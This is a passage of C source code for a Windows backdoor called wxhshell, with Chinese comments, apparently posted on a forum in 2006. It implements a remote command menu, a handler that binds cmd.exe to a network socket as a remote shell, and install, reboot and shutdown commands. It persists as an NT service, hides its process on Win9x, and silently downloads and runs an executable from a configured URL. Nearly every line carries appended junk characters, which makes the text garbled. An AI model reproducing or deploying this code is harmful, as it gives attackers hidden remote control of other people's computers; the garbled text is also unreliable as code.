  // 帮助 [ GLH8R  
  case '?': { BG>Y[u\N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "yn~axk7  
    break; ;H_/o+  
  } Dyo v}y  
  // 安装 ) r2Y@+.FN  
  case 'i': { ^X=Q{nB  
    if(Install()) WRh5v8Wz0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4CNrIF@  
    else QQ*sjK.(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $~/2!T_  
    break; Yh":>~k?SY  
    } [2%[~&4  
  // 卸载 t un}rdb  
  case 'r': { bjZJP\6  
    if(Uninstall()) ~wvt:E,f C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1|bXIY.J*  
    else Q#bW"},^k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,T/Gv;wa2  
    break; p@ <Q?  
    } ?bTfQH vX  
  // 显示 wxhshell 所在路径 *$tXm4 O[  
  case 'p': { )`u17 {  
    char svExeFile[MAX_PATH]; [);oj<  
    strcpy(svExeFile,"\n\r"); *Rgr4-eS  
      strcat(svExeFile,ExeFile); i! .]U@{k  
        send(wsh,svExeFile,strlen(svExeFile),0); IpP%WW u  
    break; }V?m =y [  
    } ]z'&oz  
  // 重启 7- B.<$uC  
  case 'b': { &,X}M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }0'=}BE  
    if(Boot(REBOOT)) peQwH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g}an 5a  
    else { })g<I+]Hf9  
    closesocket(wsh); xL}i9ozZ  
    ExitThread(0); AjzTszByu  
    } -JW~_Q[  
    break; +;N]34>S7  
    } ;kFD769DLw  
  // 关机 d?,'$$aB  
  case 'd': { inP2y?j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q+g,?;Yx  
    if(Boot(SHUTDOWN)) wk(25(1q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x/|W;8g4  
    else { _~kw^!p>Kr  
    closesocket(wsh); #'L<7t K  
    ExitThread(0); AdX))xgl  
    } @rl5k(  
    break; ;pnF%co9  
    } Fmk:[h Mw  
  // 获取shell o`T.Zaik,  
  case 's': { qu=~\t1[6  
    CmdShell(wsh); ,Qj G|P  
    closesocket(wsh); TxrW69FV7  
    ExitThread(0); i7x&[b  
    break; !)s(Lv%]  
  } -hd  
  // 退出 19 5_1?'<  
  case 'x': { o9kJ90{D=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hkK>h  
    CloseIt(wsh); m=l>8  
    break; Lg:1zC  
    } -(vHy/Hz.  
  // 离开 7 N}@zPAZ  
  case 'q': { '+Dsmoy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); corm'AJ/  
    closesocket(wsh); m&)/>'W   
    WSACleanup(); U/>I! 7oe  
    exit(1);  2&6D`{"P  
    break; * #yF`_p  
        } u>XXKlW:  
  } ,NO[Piok  
  } "~r<ZG  
gtKih  
  // 提示信息 Kz'GAm\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H_xHoCLI  
} kZ9Gl!g  
  } LkbD='\=  
CL<-3y*  
  return; qq)5)S  
} ZflB<cI  
s_^`t+5  
// shell模块句柄 |d0X1(  
int CmdShell(SOCKET sock) =dXHQU&Q  
{ 7F`\Gz_2  
STARTUPINFO si; k>i88^kPV  
ZeroMemory(&si,sizeof(si)); mnTF40l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "&_+!TBg,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N"9^A^w8k  
PROCESS_INFORMATION ProcessInfo; tI^91I  
char cmdline[]="cmd"; f6r!3y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a1,)1y~  
  return 0; w1Bkz\95  
} r CJ$Pl9R  
*`a$6F7m4  
// 自身启动模式 tP_.-//  
int StartFromService(void) r] /Ej!|  
{ f2.=1)u.  
typedef struct 2Z; !N37U  
{ XX=OyDLqP  
  DWORD ExitStatus; 2)EqqX[D  
  DWORD PebBaseAddress; 73qE!(  
  DWORD AffinityMask; RHsVG &<j  
  DWORD BasePriority; ,Uh^e]pC  
  ULONG UniqueProcessId; |AvPg  
  ULONG InheritedFromUniqueProcessId; 'IU3Xu[-.  
}   PROCESS_BASIC_INFORMATION; m mF0RNE  
(-<hx~  
PROCNTQSIP NtQueryInformationProcess; '`8 ^P  
o0Teect=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ru:"c^W:[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $uLTYu  
QRQ{Bq}#  
  HANDLE             hProcess; c@A.jc  
  PROCESS_BASIC_INFORMATION pbi; u ?V}pYX  
=1Plu5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %XR(K@V  
  if(NULL == hInst ) return 0; h<L_ =)lH  
a>C;HO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :@(1~Hm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6TRLHL~B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2UQF:R?LQ  
qt:B]#j@  
  if (!NtQueryInformationProcess) return 0; xst-zfkH`  
5$i(f8*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7,)E1dx -V  
  if(!hProcess) return 0; Pk&=\i<  
cO:lpsKYQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;9~YQW@|  
0L;,\&*u  
  CloseHandle(hProcess); *mV?_4!,f7  
ts=D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); } :?*n:g5  
if(hProcess==NULL) return 0; DXJw)%G w  
y/@Bhzc  
HMODULE hMod; &q&z$Gc;m  
char procName[255]; f (C:J[;Z  
unsigned long cbNeeded; @l3&vt2=J  
:TVo2Zm[@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FOD'&Yb&  
e"1mdw"  
  CloseHandle(hProcess); ^/%o I;O{  
wsdZwik  
if(strstr(procName,"services")) return 1; // 以服务启动 sudh=_+>  
&$ }6:  
  return 0; // 注册表启动 MoxWnJy}  
} dkC_Sh{  
#0) TS  
// 主模块 6l,6k~Z9  
int StartWxhshell(LPSTR lpCmdLine) O0y0'P-rJq  
{ 75>%!mhM  
  SOCKET wsl; Y"ta`+ VJ  
BOOL val=TRUE; `pv  
  int port=0; `D3q!e  
  struct sockaddr_in door; M*'8$|Z  
gHgqElr(  
  if(wscfg.ws_autoins) Install(); C{U*{0}  
'`tFZfT  
port=atoi(lpCmdLine); 5xT, O  
$[_5:@T%N  
if(port<=0) port=wscfg.ws_port; <IU   
,or;8aYc#  
  WSADATA data; [-`s`g-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (4z_2a(Dl,  
f2tCB1[D+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wo62R&ac  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A99;bf}"  
  door.sin_family = AF_INET; Zk7!CJVM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AW;xlY= g  
  door.sin_port = htons(port);  8\nka5  
"z6p=B"?3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V(XU^}b#  
closesocket(wsl); W rT_7  
return 1; CVY-U|xFY  
} ^69(V LK  
b4$g$()  
  if(listen(wsl,2) == INVALID_SOCKET) { >q')%j  
closesocket(wsl); io"NqR#"v  
return 1; ;Ym6ey0t  
} |-v/  
  Wxhshell(wsl); .R)Ho4CE  
  WSACleanup(); F" G+/c/L  
\7UeV:3Ojn  
return 0; o7gZc/?n  
I(>_as\1  
} -0'< 7FSQ  
R0w~ Z   
// 以NT服务方式启动 qU&v50n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?mi}S${g  
{ H>\l E2  
DWORD   status = 0; SXXO#  
  DWORD   specificError = 0xfffffff; >7?Lq<H  
t& yuo E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nbw8YO(=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x wfdJ(&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EE9eG31|r  
  serviceStatus.dwWin32ExitCode     = 0; @Rd`/S@  
  serviceStatus.dwServiceSpecificExitCode = 0; o`~,+6] D  
  serviceStatus.dwCheckPoint       = 0; svC m }`  
  serviceStatus.dwWaitHint       = 0; rXrIGgeM  
.dc|?$XV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QVb{+`.7  
  if (hServiceStatusHandle==0) return; G{+zKs}~  
gYpFF=7j<@  
status = GetLastError(); %~dn5t ;  
  if (status!=NO_ERROR) qe uc^+P;  
{ 98|1K>C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %@I= $8j  
    serviceStatus.dwCheckPoint       = 0; - Lsl  
    serviceStatus.dwWaitHint       = 0; 3D,tnn+J  
    serviceStatus.dwWin32ExitCode     = status; YEiw!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7&dF=/:X@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YyY?<<z%  
    return; 47 &p*=  
  } }Zp[f6^Q  
meD83,L~N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kCZ'p  
  serviceStatus.dwCheckPoint       = 0; Fe2iG-ec  
  serviceStatus.dwWaitHint       = 0; 4SkCV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0sq?>$~Kc*  
} Z4k'c+  
CT.hBz -S  
// 处理NT服务事件,比如:启动、停止 o3'Za'N.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *Xu?(Jd  
{ =`qEwA  
switch(fdwControl) rB =c  
{ :K*/  
case SERVICE_CONTROL_STOP: ;A?86o'?  
  serviceStatus.dwWin32ExitCode = 0; :9|CpC`.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C61E=$  
  serviceStatus.dwCheckPoint   = 0; 2N&S__  
  serviceStatus.dwWaitHint     = 0; q' t"  
  { @Bsvk9}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J32"Ytdo<  
  } ~. 5[  
  return; n}J!?zZc  
case SERVICE_CONTROL_PAUSE: ur+\!y7^R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z(ToemF)hi  
  break; <@c9S,@t  
case SERVICE_CONTROL_CONTINUE: Jb!s#g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; No'Th7=|S  
  break; xy^z_`  
case SERVICE_CONTROL_INTERROGATE: wA";N=i=  
  break; x qj@T^y  
}; E**Hu9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UotLJa  
} T\TKgO=)  
7] >z e  
// 标准应用程序主函数 K!tM "`a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p+F>+OQ*  
{ DPWnvd  
)5<c8lzp  
// 获取操作系统版本 @(m?j1!M  
OsIsNt=GetOsVer(); ZY)&Fam}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'Y5l3xQk  
%PM8;]  
  // 从命令行安装 WQNFHRfO*n  
  if(strpbrk(lpCmdLine,"iI")) Install(); B5qlU4km&  
Tu=~iQ  
  // 下载执行文件 fp$U%uj  
if(wscfg.ws_downexe) { 2()/l9.O'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y-v6M3$  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^B'N\[  
} $btk48a7  
P\2x9T  
if(!OsIsNt) { N}\3UHtO  
// 如果时win9x,隐藏进程并且设置为注册表启动 $*+`;PG-  
HideProc(); VBg M7d  
StartWxhshell(lpCmdLine); r4pR[G._  
} MJcWX|(y  
else @=6$ImU  
  if(StartFromService()) o=Kd9I#  
  // 以服务方式启动 p~<d8n4UH  
  StartServiceCtrlDispatcher(DispatchTable); TxmKmZ u  
else P?M WT]fY  
  // 普通方式启动 {xQ(xy  
  StartWxhshell(lpCmdLine); "tU,.U  
*qw//W   
return 0; bP1]:^ x@W  
}
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只看该作者 1 发表于: 2006-10-10
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